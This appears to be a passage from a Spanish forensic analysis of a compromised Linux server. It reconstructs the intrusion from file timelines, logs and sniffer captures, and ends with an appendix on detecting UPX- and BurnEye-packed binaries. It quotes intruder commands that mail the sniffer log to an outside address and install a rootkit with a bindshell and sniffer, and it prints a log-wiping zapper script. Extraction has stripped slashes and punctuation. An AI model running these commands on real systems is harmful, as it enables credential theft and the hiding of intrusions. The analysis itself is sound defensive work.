1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

